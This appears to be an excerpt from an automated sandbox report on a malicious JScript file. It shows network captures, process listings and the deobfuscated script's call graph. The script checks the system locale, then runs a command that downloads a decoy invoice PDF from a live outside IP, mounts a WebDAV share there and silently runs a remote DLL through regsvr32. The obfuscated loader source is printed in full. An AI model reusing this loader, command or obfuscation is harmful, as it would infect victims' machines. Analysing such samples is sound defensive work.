Jan 10, 2025 20:52:04.463807106 CET	1236	IN	Data Raw: 92 44 53 97 31 23 a2 fe f8 4e 5d 45 cd 3c a0 3c 5d 61 70 2c 54 aa 9a 49 55 9f 65 fd 98 6a 39 4e 99 ab 2a b7 33 7d 49 fa 99 a9 ac b4 3a 89 e6 42 6d b8 f7 d8 3f 63 72 79 9a 4c 3b 86 4f 57 b9 87 96 d7 ab 16 c6 09 47 7b 6e 39 63 d5 3c 57 35 ed d8 7f Data Ascii: DS1#N]E<<]ap,TIUej9N*3}I:Bm?cryL;OWG{n9c<W5.3}edy7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#
Jan 10, 2025 20:52:04.468504906 CET	552	IN	Data Raw: 51 fd ec 85 2f 6b ee 9d 56 7e b3 85 5b ac c3 57 d3 bf f9 d3 8c b6 94 77 33 af 3a ba 1e 36 f7 83 16 85 12 6a 72 76 aa d8 1f 14 3d 9b 59 7f 60 6e cd ba 63 fd 33 27 b9 73 72 cd cd d6 bc 97 72 e3 cf 7e 59 2e 31 14 c0 e6 ac da 4b b0 a3 16 39 30 34 8c Data Ascii: Q/kV~[Ww3:6jrv=Y`nc3'srr~Y.1K904CT{hD?ymcCdSL}s_,j\;py)cRt&($ T44o[{/Dh}4+!F)IT2hM=F{kvJ"L

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	193.143.1.205	8888	1576	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 20:52:06.094662905 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 20:52:06.912827969 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 19:52:06 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	14:51:59
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\225008411339129134.js"
Imagebase:	0x7ff69aa90000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	14:51:59
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119801817825151.dll
Imagebase:	0x7ff6d8cd0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	14:52:00
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	14:52:00
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	14:52:04
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	14:52:04
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6d8cd0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	14:52:04
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff79abd0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	14:52:05
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	14:52:05
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	14:52:06
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1752,i,9395285687119838462,18365448632051607,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function gwhtptg() {	gwhtptg() ➔ undefined
1	riugfnbj = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var ebkvhka = this[lqgpg + qwcndnxo + kyagdlv + hammaup + gtgxght + vkbuaqloa + xiphyik + ltnaip] ( this[ppgkjgyoi + kaujzsa + piwrk + kyagdlv + gqmfkksc + lqgpg + ltnaip][eellji + kyagdlv + gtgxght + qwcndnxo + ltnaip + gtgxght + rjojv + eoehva + rbwktu + gtgxght + piwrk + ltnaip] ( ppgkjgyoi + kaujzsa + piwrk + kyagdlv + gqmfkksc + lqgpg + ltnaip + kyuujb + kaujzsa + hytdcxwje + gtgxght + gmtyhoi + gmtyhoi ) [bhpaehh + gtgxght + ilywtrb + bhpaehh + gtgxght + qwcndnxo + axuqdc] ( xywyvheuy + omgukd + tadazt + uhdowdn + bdetgzno + eellji + pllbli + bhpaehh + bhpaehh + tadazt + xthujj + giabe + bdetgzno + pllbli + kaujzsa + tadazt + bhpaehh + qxdrhc + eellji + ymerc + xiphyik + ltnaip + kyagdlv + ymerc + gmtyhoi + deiei + yuuuhdtql + qwcndnxo + xiphyik + gtgxght + gmtyhoi + qxdrhc + vkbuaqloa + xiphyik + ltnaip + gtgxght + kyagdlv + xiphyik + qwcndnxo + ltnaip + gqmfkksc + ymerc + xiphyik + qwcndnxo + gmtyhoi + qxdrhc + mzbveszi + ymerc + piwrk + qwcndnxo + gmtyhoi + gtgxght ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( knddb = 0 ; knddb < riugfnbj[gmtyhoi + gtgxght + xiphyik + ilywtrb + ltnaip + hytdcxwje] ; ++ knddb )
4	{
5	if ( ebkvhka == riugfnbj[knddb] )
6	{
7	ebkvhka = true;
8	break ;
9	}
10	}
11	if ( ebkvhka !== true )
12	this[ppgkjgyoi + kaujzsa + piwrk + kyagdlv + gqmfkksc + lqgpg + ltnaip][davavx + glfdsgxry + gqmfkksc + ltnaip] ( );
13	this[ppgkjgyoi + kaujzsa + piwrk + kyagdlv + gqmfkksc + lqgpg + ltnaip][eellji + kyagdlv + gtgxght + qwcndnxo + ltnaip + gtgxght + rjojv + eoehva + rbwktu + gtgxght + piwrk + ltnaip] ( ppgkjgyoi + kaujzsa + piwrk + kyagdlv + gqmfkksc + lqgpg + ltnaip + kyuujb + kaujzsa + hytdcxwje + gtgxght + gmtyhoi + gmtyhoi ) [kyagdlv + glfdsgxry + xiphyik] ( piwrk + qpspllyhy + axuqdc + deiei + jlsgcmlew + piwrk + deiei + lqgpg + ymerc + ofezf + gtgxght + kyagdlv + hammaup + hytdcxwje + gtgxght + gmtyhoi + gmtyhoi + kyuujb + gtgxght + bkekcitbc + gtgxght + deiei + bkwnhqs + eellji + ymerc + qpspllyhy + qpspllyhy + qwcndnxo + xiphyik + axuqdc + deiei + esrlrlv + vkbuaqloa + xiphyik + sdiuzohch + ymerc + jftnm + gtgxght + bkwnhqs + ppgkjgyoi + gtgxght + eoehva + bhpaehh + gtgxght + uwktytym + glfdsgxry + gtgxght + hammaup + ltnaip + deiei + bkwnhqs + rjojv + glfdsgxry + ltnaip + zfyoomat + gqmfkksc + gmtyhoi + gtgxght + deiei + xsbvnnj + ltnaip + gtgxght + qpspllyhy + lqgpg + xsbvnnj + qxdrhc + gqmfkksc + xiphyik + sdiuzohch + ymerc + gqmfkksc + piwrk + gtgxght + kyuujb + lqgpg + axuqdc + woldqbqpt + deiei + hytdcxwje + ltnaip + ltnaip + lqgpg + zdqxj + jlsgcmlew + jlsgcmlew + goqdyzm + uneslhf + jhjsp + kyuujb + goqdyzm + cevniv + jhjsp + kyuujb + goqdyzm + kyuujb + iumeygpr + mpvbkt + lsobf + jlsgcmlew + gqmfkksc + xiphyik + sdiuzohch + ymerc + gqmfkksc + piwrk + gtgxght + kyuujb + lqgpg + hytdcxwje + lqgpg + esrlrlv + qeqyo + qeqyo + hammaup + ltnaip + qwcndnxo + kyagdlv + ltnaip + deiei + xsbvnnj + ltnaip + gtgxght + qpspllyhy + lqgpg + xsbvnnj + qxdrhc + gqmfkksc + xiphyik + sdiuzohch + ymerc + gqmfkksc + piwrk + gtgxght + kyuujb + lqgpg + axuqdc + woldqbqpt + qeqyo + qeqyo + piwrk + qpspllyhy + axuqdc + deiei + jlsgcmlew + piwrk + deiei + xiphyik + gtgxght + ltnaip + deiei + glfdsgxry + hammaup + gtgxght + deiei + qxdrhc + qxdrhc + goqdyzm + uneslhf + jhjsp + kyuujb + goqdyzm + cevniv + jhjsp + kyuujb + goqdyzm + kyuujb + iumeygpr + mpvbkt + lsobf + hbwyjh + jgsuvuh + jgsuvuh + jgsuvuh + jgsuvuh + qxdrhc + axuqdc + qwcndnxo + sdiuzohch + ofezf + ofezf + ofezf + kyagdlv + ymerc + ymerc + ltnaip + qxdrhc + qeqyo + qeqyo + piwrk + qpspllyhy + axuqdc + deiei + jlsgcmlew + piwrk + deiei + kyagdlv + gtgxght + ilywtrb + hammaup + sdiuzohch + kyagdlv + jhjsp + iumeygpr + deiei + jlsgcmlew + hammaup + deiei + qxdrhc + qxdrhc + goqdyzm + uneslhf + jhjsp + kyuujb + goqdyzm + cevniv + jhjsp + kyuujb + goqdyzm + kyuujb + iumeygpr + mpvbkt + lsobf + hbwyjh + jgsuvuh + jgsuvuh + jgsuvuh + jgsuvuh + qxdrhc + axuqdc + qwcndnxo + sdiuzohch + ofezf + ofezf + ofezf + kyagdlv + ymerc + ymerc + ltnaip + qxdrhc + goqdyzm + goqdyzm + uneslhf + jgsuvuh + mpvbkt + goqdyzm + jgsuvuh + goqdyzm + zjppph + jgsuvuh + iumeygpr + lsobf + goqdyzm + lsobf + goqdyzm + kyuujb + axuqdc + gmtyhoi + gmtyhoi, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119801817825151.dll",0,false) ➔ 0
14	}
15	bdetgzno = "f";
16	bdetgzno = "G";
17	bdetgzno = "C";
18	bdetgzno = "b";
19	bdetgzno = "W";
20	bdetgzno = "z";
21	bdetgzno = "P";
22	bdetgzno = "_";
23	piwrk = "g";
24	piwrk = "S";
25	piwrk = "X";
26	piwrk = "O";
27	piwrk = "o";
28	piwrk = "T";
29	piwrk = "r";
30	piwrk = "i";
31	piwrk = "e";
32	piwrk = "O";
33	piwrk = "g";
34	piwrk = "Z";
35	piwrk = "C";
36	piwrk = "A";
37	piwrk = "H";
38	piwrk = "Y";
39	piwrk = "d";
40	piwrk = "c";
41	rjojv = "L";
42	rjojv = "g";
43	rjojv = "n";
44	rjojv = "S";
45	rjojv = "G";
46	rjojv = "r";
47	rjojv = "D";
48	rjojv = "i";
49	rjojv = "X";
50	rjojv = "l";
51	rjojv = "M";
52	rjojv = "M";
53	rjojv = "O";
54	esrlrlv = "J";
55	esrlrlv = "S";
56	esrlrlv = "w";
57	esrlrlv = "K";
58	esrlrlv = "j";
59	esrlrlv = "\"";
60	eoehva = "T";
61	eoehva = "F";
62	eoehva = "n";
63	eoehva = "Y";
64	eoehva = "v";
65	eoehva = "m";
66	eoehva = "c";
67	eoehva = "A";
68	eoehva = "s";
69	eoehva = "K";
70	eoehva = "w";
71	eoehva = "x";
72	eoehva = "I";
73	eoehva = "a";
74	eoehva = "e";
75	eoehva = "p";
76	eoehva = "v";
77	eoehva = "B";
78	eoehva = "F";
79	eoehva = "z";
80	eoehva = "T";
81	eoehva = "Q";
82	eoehva = "Y";
83	eoehva = "j";
84	eoehva = "f";
85	eoehva = "o";
86	eoehva = "I";
87	eoehva = "b";
88	jhjsp = "i";
89	jhjsp = "A";
90	jhjsp = "M";
91	jhjsp = "Y";
92	jhjsp = "3";
93	xiphyik = "U";
94	xiphyik = "n";
95	uneslhf = "r";
96	uneslhf = "i";
97	uneslhf = "Q";
98	uneslhf = "h";
99	uneslhf = "i";
100	uneslhf = "u";
101	uneslhf = "e";
102	uneslhf = "S";
103	uneslhf = "X";
104	uneslhf = "C";
105	uneslhf = "v";
106	uneslhf = "Z";
107	uneslhf = "e";
108	uneslhf = "P";
109	uneslhf = "v";
110	uneslhf = "E";
111	uneslhf = "u";
112	uneslhf = "A";
113	uneslhf = "s";
114	uneslhf = "O";
115	uneslhf = "l";
116	uneslhf = "O";
117	uneslhf = "y";
118	uneslhf = "G";
119	uneslhf = "e";
120	uneslhf = "h";
121	uneslhf = "z";
122	uneslhf = "z";
123	uneslhf = "I";
124	uneslhf = "f";
125	uneslhf = "j";
126	uneslhf = "B";
127	uneslhf = "L";
128	uneslhf = "W";
129	uneslhf = "g";
130	uneslhf = "n";
131	uneslhf = "l";
132	uneslhf = "r";
133	uneslhf = "d";
134	uneslhf = "Q";
135	uneslhf = "t";
136	uneslhf = "R";
137	uneslhf = "x";
138	uneslhf = "N";
139	uneslhf = "9";
140	lqgpg = "h";
141	lqgpg = "O";
142	lqgpg = "c";
143	lqgpg = "F";
144	lqgpg = "W";
145	lqgpg = "D";
146	lqgpg = "r";
147	lqgpg = "D";
148	lqgpg = "O";
149	lqgpg = "i";
150	lqgpg = "b";
151	lqgpg = "s";
152	lqgpg = "J";
153	lqgpg = "s";
154	lqgpg = "R";
155	lqgpg = "S";
156	lqgpg = "q";
157	lqgpg = "C";
158	lqgpg = "J";
159	lqgpg = "g";
160	lqgpg = "e";
161	lqgpg = "R";
162	lqgpg = "e";
163	lqgpg = "G";
164	lqgpg = "x";
165	lqgpg = "w";
166	lqgpg = "s";
167	lqgpg = "L";
168	lqgpg = "U";
169	lqgpg = "u";
170	lqgpg = "n";
171	lqgpg = "l";
172	lqgpg = "b";
173	lqgpg = "m";
174	lqgpg = "n";
175	lqgpg = "X";
176	lqgpg = "C";
177	lqgpg = "s";
178	lqgpg = "K";
179	lqgpg = "E";
180	lqgpg = "v";
181	lqgpg = "P";
182	lqgpg = "p";
183	cevniv = "I";
184	cevniv = "u";
185	cevniv = "h";
186	cevniv = "R";
187	cevniv = "k";
188	cevniv = "4";
189	lsobf = "m";
190	lsobf = "C";
191	lsobf = "v";
192	lsobf = "H";
193	lsobf = "m";
194	lsobf = "U";
195	lsobf = "H";
196	lsobf = "U";
197	lsobf = "W";
198	lsobf = "r";
199	lsobf = "V";
200	lsobf = "S";
201	lsobf = "f";
202	lsobf = "J";
203	lsobf = "m";
204	lsobf = "N";
205	lsobf = "A";
206	lsobf = "x";
207	lsobf = "N";
208	lsobf = "F";
209	lsobf = "o";
210	lsobf = "c";
211	lsobf = "v";
212	lsobf = "f";
213	lsobf = "M";
214	lsobf = "f";
215	lsobf = "5";
216	uwktytym = "k";
217	uwktytym = "t";
218	uwktytym = "W";
219	uwktytym = "d";
220	uwktytym = "x";
221	uwktytym = "T";
222	uwktytym = "E";
223	uwktytym = "U";
224	uwktytym = "F";
225	uwktytym = "I";
226	uwktytym = "j";
227	uwktytym = "R";
228	uwktytym = "k";
229	uwktytym = "L";
230	uwktytym = "M";
231	uwktytym = "L";
232	uwktytym = "U";
233	uwktytym = "r";
234	uwktytym = "P";
235	uwktytym = "i";
236	uwktytym = "p";
237	uwktytym = "P";
238	uwktytym = "v";
239	uwktytym = "x";
240	uwktytym = "E";
241	uwktytym = "N";
242	uwktytym = "s";
243	uwktytym = "C";
244	uwktytym = "R";
245	uwktytym = "y";
246	uwktytym = "P";
247	uwktytym = "R";
248	uwktytym = "s";
249	uwktytym = "U";
250	uwktytym = "U";
251	uwktytym = "v";
252	uwktytym = "q";
253	sdiuzohch = "N";
254	sdiuzohch = "v";
255	sdiuzohch = "F";
256	sdiuzohch = "f";
257	sdiuzohch = "j";
258	sdiuzohch = "S";
259	sdiuzohch = "V";
260	sdiuzohch = "A";
261	sdiuzohch = "v";
262	jgsuvuh = "y";
263	jgsuvuh = "Q";
264	jgsuvuh = "L";
265	jgsuvuh = "l";
266	jgsuvuh = "T";
267	jgsuvuh = "i";
268	jgsuvuh = "i";
269	jgsuvuh = "D";
270	jgsuvuh = "X";
271	jgsuvuh = "b";
272	jgsuvuh = "t";
273	jgsuvuh = "Q";
274	jgsuvuh = "M";
275	jgsuvuh = "J";
276	jgsuvuh = "m";
277	jgsuvuh = "C";
278	jgsuvuh = "h";
279	jgsuvuh = "Z";
280	jgsuvuh = "l";
281	jgsuvuh = "H";
282	jgsuvuh = "E";
283	jgsuvuh = "c";
284	jgsuvuh = "J";
285	jgsuvuh = "r";
286	jgsuvuh = "D";
287	jgsuvuh = "g";
288	jgsuvuh = "T";
289	jgsuvuh = "a";
290	jgsuvuh = "l";
291	jgsuvuh = "K";
292	jgsuvuh = "W";
293	jgsuvuh = "I";
294	jgsuvuh = "v";
295	jgsuvuh = "Z";
296	jgsuvuh = "r";
297	jgsuvuh = "R";
298	jgsuvuh = "F";
299	jgsuvuh = "K";
300	jgsuvuh = "8";
301	hbwyjh = "i";
302	hbwyjh = "d";
303	hbwyjh = "m";
304	hbwyjh = "T";
305	hbwyjh = "x";
306	hbwyjh = "q";
307	hbwyjh = "B";
308	hbwyjh = "y";
309	hbwyjh = "A";
310	hbwyjh = "S";
311	hbwyjh = "b";
312	hbwyjh = "Q";
313	hbwyjh = "d";
314	hbwyjh = "x";
315	hbwyjh = "y";
316	hbwyjh = "z";
317	hbwyjh = "s";
318	hbwyjh = "A";
319	hbwyjh = "U";
320	hbwyjh = "Q";
321	hbwyjh = "w";
322	hbwyjh = "C";
323	hbwyjh = "L";
324	hbwyjh = "V";
325	hbwyjh = "j";
326	hbwyjh = "a";
327	hbwyjh = "g";
328	hbwyjh = "E";
329	hbwyjh = "R";
330	hbwyjh = "P";
331	hbwyjh = "U";
332	hbwyjh = "n";
333	hbwyjh = "s";
334	hbwyjh = "A";
335	hbwyjh = "C";
336	hbwyjh = "X";
337	hbwyjh = "T";
338	hbwyjh = "j";
339	hbwyjh = "U";
340	hbwyjh = "@";
341	yuuuhdtql = "Y";
342	yuuuhdtql = "P";
343	yuuuhdtql = "u";
344	yuuuhdtql = "n";
345	yuuuhdtql = "o";
346	yuuuhdtql = "V";
347	yuuuhdtql = "Q";
348	yuuuhdtql = "q";
349	yuuuhdtql = "m";
350	yuuuhdtql = "x";
351	yuuuhdtql = "E";
352	yuuuhdtql = "A";
353	yuuuhdtql = "z";
354	yuuuhdtql = "e";
355	yuuuhdtql = "E";
356	yuuuhdtql = "M";
357	yuuuhdtql = "T";
358	yuuuhdtql = "A";
359	yuuuhdtql = "v";
360	yuuuhdtql = "P";
361	gqmfkksc = "P";
362	gqmfkksc = "S";
363	gqmfkksc = "k";
364	gqmfkksc = "R";
365	gqmfkksc = "a";
366	gqmfkksc = "w";
367	gqmfkksc = "j";
368	gqmfkksc = "G";
369	gqmfkksc = "a";
370	gqmfkksc = "S";
371	gqmfkksc = "h";
372	gqmfkksc = "h";
373	gqmfkksc = "q";
374	gqmfkksc = "Y";
375	gqmfkksc = "Y";
376	gqmfkksc = "C";
377	gqmfkksc = "h";
378	gqmfkksc = "J";
379	gqmfkksc = "P";
380	gqmfkksc = "R";
381	gqmfkksc = "C";
382	gqmfkksc = "U";
383	gqmfkksc = "Y";
384	gqmfkksc = "U";
385	gqmfkksc = "S";
386	gqmfkksc = "M";
387	gqmfkksc = "B";
388	gqmfkksc = "U";
389	gqmfkksc = "e";
390	gqmfkksc = "U";
391	gqmfkksc = "w";
392	gqmfkksc = "n";
393	gqmfkksc = "x";
394	gqmfkksc = "l";
395	gqmfkksc = "D";
396	gqmfkksc = "B";
397	gqmfkksc = "F";
398	gqmfkksc = "r";
399	gqmfkksc = "K";
400	gqmfkksc = "W";
401	gqmfkksc = "Z";
402	gqmfkksc = "O";
403	gqmfkksc = "O";
404	gqmfkksc = "U";
405	gqmfkksc = "i";
406	bhpaehh = "L";
407	bhpaehh = "R";
408	iumeygpr = "o";
409	iumeygpr = "w";
410	iumeygpr = "I";
411	iumeygpr = "Q";
412	iumeygpr = "s";
413	iumeygpr = "H";
414	iumeygpr = "H";
415	iumeygpr = "A";
416	iumeygpr = "h";
417	iumeygpr = "G";
418	iumeygpr = "u";
419	iumeygpr = "u";
420	iumeygpr = "r";
421	iumeygpr = "E";
422	iumeygpr = "N";
423	iumeygpr = "N";
424	iumeygpr = "r";
425	iumeygpr = "h";
426	iumeygpr = "n";
427	iumeygpr = "2";
428	ofezf = "D";
429	ofezf = "m";
430	ofezf = "c";
431	ofezf = "n";
432	ofezf = "n";
433	ofezf = "w";
434	ofezf = "B";
435	ofezf = "h";
436	ofezf = "A";
437	ofezf = "V";
438	ofezf = "h";
439	ofezf = "x";
440	ofezf = "V";
441	ofezf = "V";
442	ofezf = "b";
443	ofezf = "k";
444	ofezf = "T";
445	ofezf = "T";
446	ofezf = "p";
447	ofezf = "y";
448	ofezf = "u";
449	ofezf = "y";
450	ofezf = "Q";
451	ofezf = "T";
452	ofezf = "w";
453	hytdcxwje = "w";
454	hytdcxwje = "N";
455	hytdcxwje = "J";
456	hytdcxwje = "J";
457	hytdcxwje = "W";
458	hytdcxwje = "l";
459	hytdcxwje = "y";
460	hytdcxwje = "n";
461	hytdcxwje = "y";
462	hytdcxwje = "X";
463	hytdcxwje = "b";
464	hytdcxwje = "j";
465	hytdcxwje = "j";
466	hytdcxwje = "S";
467	hytdcxwje = "J";
468	hytdcxwje = "d";
469	hytdcxwje = "l";
470	hytdcxwje = "e";
471	hytdcxwje = "P";
472	hytdcxwje = "P";
473	hytdcxwje = "t";
474	hytdcxwje = "v";
475	hytdcxwje = "u";
476	hytdcxwje = "V";
477	hytdcxwje = "A";
478	hytdcxwje = "T";
479	hytdcxwje = "h";
480	hytdcxwje = "k";
481	hytdcxwje = "y";
482	hytdcxwje = "n";
483	hytdcxwje = "C";
484	hytdcxwje = "l";
485	hytdcxwje = "P";
486	hytdcxwje = "t";
487	hytdcxwje = "P";
488	hytdcxwje = "H";
489	hytdcxwje = "h";
490	qxdrhc = "J";
491	qxdrhc = "w";
492	qxdrhc = "d";
493	qxdrhc = "E";
494	qxdrhc = "a";
495	qxdrhc = "C";
496	qxdrhc = "D";
497	qxdrhc = "G";
498	qxdrhc = "W";
499	qxdrhc = "Z";
500	qxdrhc = "H";
501	qxdrhc = "B";
502	qxdrhc = "f";
503	qxdrhc = "p";
504	qxdrhc = "A";
505	qxdrhc = "Z";
506	qxdrhc = "I";
507	qxdrhc = "\\";
508	mzbveszi = "h";
509	mzbveszi = "B";
510	mzbveszi = "c";
511	mzbveszi = "q";
512	mzbveszi = "V";
513	mzbveszi = "F";
514	mzbveszi = "D";
515	mzbveszi = "e";
516	mzbveszi = "c";
517	mzbveszi = "p";
518	mzbveszi = "p";
519	mzbveszi = "c";
520	mzbveszi = "k";
521	mzbveszi = "Z";
522	mzbveszi = "r";
523	mzbveszi = "u";
524	mzbveszi = "o";
525	mzbveszi = "o";
526	mzbveszi = "K";
527	mzbveszi = "j";
528	mzbveszi = "V";
529	mzbveszi = "s";
530	mzbveszi = "L";
531	ppgkjgyoi = "C";
532	ppgkjgyoi = "d";
533	ppgkjgyoi = "C";
534	ppgkjgyoi = "s";
535	ppgkjgyoi = "T";
536	ppgkjgyoi = "t";
537	ppgkjgyoi = "f";
538	ppgkjgyoi = "U";
539	ppgkjgyoi = "L";
540	ppgkjgyoi = "D";
541	ppgkjgyoi = "q";
542	ppgkjgyoi = "n";
543	ppgkjgyoi = "B";
544	ppgkjgyoi = "S";
545	ppgkjgyoi = "m";
546	ppgkjgyoi = "H";
547	ppgkjgyoi = "w";
548	ppgkjgyoi = "p";
549	ppgkjgyoi = "Y";
550	ppgkjgyoi = "F";
551	ppgkjgyoi = "D";
552	ppgkjgyoi = "E";
553	ppgkjgyoi = "M";
554	ppgkjgyoi = "t";
555	ppgkjgyoi = "e";
556	ppgkjgyoi = "u";
557	ppgkjgyoi = "Q";
558	ppgkjgyoi = "E";
559	ppgkjgyoi = "d";
560	ppgkjgyoi = "E";
561	ppgkjgyoi = "f";
562	ppgkjgyoi = "W";
563	jftnm = "F";
564	jftnm = "w";
565	jftnm = "D";
566	jftnm = "G";
567	jftnm = "F";
568	jftnm = "O";
569	jftnm = "J";
570	jftnm = "l";
571	jftnm = "t";
572	jftnm = "l";
573	jftnm = "c";
574	jftnm = "L";
575	jftnm = "w";
576	jftnm = "k";
577	jftnm = "W";
578	jftnm = "v";
579	jftnm = "N";
580	jftnm = "j";
581	jftnm = "R";
582	jftnm = "J";
583	jftnm = "N";
584	jftnm = "K";
585	jftnm = "h";
586	jftnm = "n";
587	jftnm = "W";
588	jftnm = "E";
589	jftnm = "J";
590	jftnm = "F";
591	jftnm = "k";
592	zdqxj = "I";
593	zdqxj = "H";
594	zdqxj = "d";
595	zdqxj = "k";
596	zdqxj = "n";
597	zdqxj = "m";
598	zdqxj = "F";
599	zdqxj = "a";
600	zdqxj = "Z";
601	zdqxj = "t";
602	zdqxj = "v";
603	zdqxj = "s";
604	zdqxj = ":";
605	zjppph = "j";
606	zjppph = "n";
607	zjppph = "W";
608	zjppph = "r";
609	zjppph = "h";
610	zjppph = "z";
611	zjppph = "l";
612	zjppph = "n";
613	zjppph = "Q";
614	zjppph = "t";
615	zjppph = "z";
616	zjppph = "W";
617	zjppph = "q";
618	zjppph = "x";
619	zjppph = "J";
620	zjppph = "m";
621	zjppph = "j";
622	zjppph = "q";
623	zjppph = "Z";
624	zjppph = "o";
625	zjppph = "a";
626	zjppph = "e";
627	zjppph = "Q";
628	zjppph = "T";
629	zjppph = "I";
630	zjppph = "j";
